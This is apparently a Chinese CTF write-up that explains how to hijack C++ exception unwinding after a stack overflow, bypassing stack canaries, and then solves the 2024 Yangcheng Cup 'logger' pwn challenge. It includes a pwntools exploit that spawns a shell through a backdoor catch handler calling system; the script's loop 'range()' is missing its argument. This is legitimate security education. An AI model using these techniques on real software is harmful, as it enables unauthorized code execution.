C++异常处理机制漏洞–羊城杯2024logger

参考文章:溢出漏洞在异常处理中的攻击利用手法-上 - 先知社区 (aliyun.com)

本文前面原理部分几乎照抄,但是也补充了一些内容。

先看如下代码,这种检测溢出的方式是否合理呢?

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
 
class x {
    public:
    char buf[0x10];
    x(void) {
        printf("x:x() called\n");
    }
    ~x(void) {
        printf("x:~x() called\n");
    }
};
 
void test() {
    x a;
    int cnt = 0x100;
    size_t len = read(0,a.buf,cnt);
    if(len > 0x10) {
        throw "Buffer overflow";
    }
}
 
int main()
{
    try {
        test();
        throw 1;
    }
    catch(int x) {
        printf("Int: %d\n", x);
    }
    catch(const char* s) {
        printf("String: %s\n", s);
    }
    return 0;
}

当送入不同长度数据时,出现下面结果(rbp距离buf为0x30)

数据长度为0x31时,0xa刚好覆盖test()的rbp的第一个字节时,发现程序crash

数据长度为0x39时,0xa刚好覆盖test()的返回地址的第一个字节时,程序也crash了

表面上,这种检查机制似乎是合理的。但实际上存在着漏洞。通过上面两个例子,我们可以猜测,栈上的内容(如这里的rbp和ret地址)与异常处理的流程相关。进一步大胆考虑,是否能够通过更改rbp和ret地址为合适的内容来实现对异常处理程序流的劫持。

c++异常处理函数的调用流程

当用户 throw 一个异常时,编译器会帮我们调用相应的函数分配 一个异常对象。异常对象由函数 __cxa_allocate_exception() 进行创建,最后由 __cxa_free_exception() 进行销毁。当我们在程序里执行了抛出异常后,编译器做了如下的事情:

  1. 调用 __cxa_allocate_exception 函数,分配一个异常对象
  2. 调用 __cxa_throw 函数,这个函数会将异常对象做一些初始化
  3. __cxa_throw() 调用 Itanium ABI 里的 _Unwind_RaiseException() 从而开始 unwind,unwind 分为两个阶段,分别进行搜索 catch 及清理调用栈
  4. _Unwind_RaiseException() 对调用链上的函数进行 unwind 时,调用 personality routine(__gxx_personality_v0
  5. 如果该异常如能被处理(有相应的 catch),则 personality routine 会依次对调用链上的函数进行清理。(cleanup)
  6. _Unwind_RaiseException() 将控制权转到相应的 catch 代码(handler)
  7. unwind 完成,用户代码继续执行

覆盖rbp为什么会crash

我们先直接走到程序结束的位置,看看到底是哪一步汇编出现了问题,如图

根据地址,我们可以在IDA中定位到这个ret属于异常处理结束后最终的ret命令

因此可以确定是在执行handler时出错,我们直接将断点下至,这个handler的地方,也就是b *0x555555555393。一进这个函数就发现了异常点,注意红线位置的rbp是我们覆盖后的rbp

此时就可以很容易的知道,由于这里使用leave; ret,ret的地址为[rbp+8],即这里是可以通过合理控制rbp来控制返回地址。

这里我们佐以测试我们直接将rbp改为got表中的位置,使其尝试调用puts函数,为了方便测试,这里直接关闭了pie缓解措施

成功在异常处理中,通过控制rbp来调用puts,这个方式与常规的栈转移的前半部分十分相像

当然需要注意的是,在一些程序中栈并不依靠rbp存储栈帧,而直接使用rsp增减固定偏移的方式,该方法也就无法使用。

覆盖返回地址为什么会crash?

这个问题的答案也很显然,通过上面的分析,是因为rbp不合法导致的。

那如果把rbp改成合法的地址,是不是就可以了呢?

这里rbp就继续沿用上面的got表,payload改为b'a'*n + p64(0x000000000404038) + b'b'*8,发现程序还是crash了

注意到这里需要让rdx为一个指针,且rdx内容恰好是我们覆盖的ret地址,这里我们将ret地址覆盖为test函数地址试试,payload进一步改为b'a'*n + p64(0x000000000404038) + p64(0x401249)

发现持续报错 terminate called after throwing an instance of ‘char const*’ ,在网上搜索,发现有个类似的报错,是因为异常并没有正常匹配。

所以这里报错是因为unwind流程与返回地址相关,导致流程在test函数内搜索catch handler。这里抛出的异常对象是char*类型,自然会去寻找捕获char*类型异常对象的catch。而test函数中无对应类型的catch块,从而调用__teminate()终止进程。

那么这里潜藏了一个含义,如果另一个函数内有对应类型的catch块,是否可以通过更改ret地址来使其执行另一个函数函数的handler. 为了验证,我为原有的测试代码增添了一个函数backdoor,并且在其他任何代码处均不会调用该函数.

void backdoor()
{
    try{
        printf("Here is backdoor!");
    }
    catch(const char* s) {
        printf("backdoor catch: %s\n", s);
    }
}

 将ret地址修改为backdoor函数的try块地址范围内0x401252-0x401258(在我的测试中发现,这个范围是个左开但是右侧不精确的范围,为了保证成功率可以使用左测边界+1的地址)。这里也成功调用的backdoor的catch handler

小结

通过过上述分析,我们发现异常处理本身存在一些问题,并且使得canary这样的栈保护机制无效。因为异常抛出后的代码不会执行,自然也不会检测canary,自然也不会调用stack_check_fail(). 在此基础上我们发现了一些控制程序流的方式:

  • 通过覆盖rbp,进而控制程序流走向。当然前提是栈帧的确使用rbp存储,因为一些情况下程序只依靠rsp增减。
  • 通过覆盖ret地址,使异常被另外一个handler处理
  • 在某些情况下还可以通过伪造覆盖类虚表的手法,使其在cleanup handler执行析构函数的时候劫持程序流(本文不做详细分析)

2024羊城杯–logger

主函数如下图:

trace函数如下:

这个函数的作用是每次向content(起始为0x404020 .data段)写入0x10个字节,能写9次

warn函数如下:

前面的都不用管,重点在if后面的内容。显然,这是一段判断有无栈溢出的代码,如果发生了栈溢出,即写入的字节数(v0)大于了0x10,那么就会执行if中的内容。

memcpy(byte_404200, buf, sizeof(byte_404200));
strcpy(dest, src);
strcpy(&dest[strlen(dest)], ": ");
strncat(dest, byte_404200, 0x100uLL);
puts(dest);
exception = __cxa_allocate_exception(8uLL); //创建异常对象,并且存储在excption中                  
*exception = src;  //把src赋值给异常对象
__cxa_throw(exception, (struct type_info *)&`typeinfo for'char *, 0LL);

 这个题它没有try,catch函数,而是直接调用了__cxa_throw。

参数解释

  1. exceptionObject:
    • 这是指向异常对象的指针,通常是通过 __cxa_allocate_exception 函数分配的。这个对象包含了要抛出的异常的具体信息。在你的代码中,这个参数是 exception,它是一个指向异常对象的指针。
  2. info:
    • 这是一个指向 std::type_info 类型的指针,表示异常对象的类型信息。std::type_info 是一个提供类型信息的类,包含关于对象类型的元数据。在你的代码中,这个参数是 (struct type_info *)&typeinfo for’char ,它表示要抛出的异常的类型是 char`(字符指针)。
  3. destructors:
    • 这是一个指向析构函数的指针,通常用于在异常处理过程中清理资源。在 C++ 中,当抛出异常时,栈上的对象会被销毁,因此需要在处理异常时调用这些析构函数。在你的代码中,这个参数是 0LL,表示没有自定义的析构函数需要调用,这通常意味着没有动态分配的资源需要清理。

总结

  • __cxa_throw 函数的作用是抛出一个异常,具体的参数含义如下:
    • exceptionObject: 要抛出的异常实例。
    • info: 异常的类型信息。
    • destructors: 处理异常时需要调用的析构函数(如果有的话)。

这个函数是 C++ 异常处理机制的底层实现,通常不直接由用户代码调用,而是由编译器在处理 throw 语句时生成。

打开IDA,发现src指向的地址是0x4040A0,这个地址刚好是trace函数最后一次写的地址。也就是说我们可以控制这个值。

这个程序有一个后门catch可以供我们利用。

在这个catch中,调用了system,并且在调用system的时候rdi的值等于调用完cxa_begin_catch函数后rax的值,这个值就是异常对象的地址。在这个题中也就是src的地址。那么我们可以利用trace控制src为/bin/sh就能获得shell。

exp

from pwn import *
from pwncli import *
context(os='linux', arch='amd64', log_level='debug')
 
 
p = process('./pwn')
# p = remote('139.155.126.78',30134)
elf = ELF('./pwn')
#libc = ELF('')
 
def debug():
    gdb.attach(p)
    pause()
 
def choose(index):
    p.sendlineafter(b'Your chocie:',str(index))
 
def trace(content):
    choose(1)
    p.sendafter(b'You can record log details here: ',content)
    p.sendafter(b'Do you need to check the records? ',b'n')
def warn(content):
    choose(2)
    p.recvuntil(b'[!] Type your message here plz: ')
    p.send(content)
def exit():
    choose(3)
 
system = 0x401260
sys_got = elf.got['system']
 
for i in range():
    trace(b'/bin/sh\x00'+p64(0))
 
#栈溢出 rbp+0x18需要为可写地址 mov    qword ptr [rbp - 18h], rax
payload = b'a'*0x70 + p64(0x404020+0x18)+p64(0x401BC7)
debug()
warn(payload)
 
p.interactive()
 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值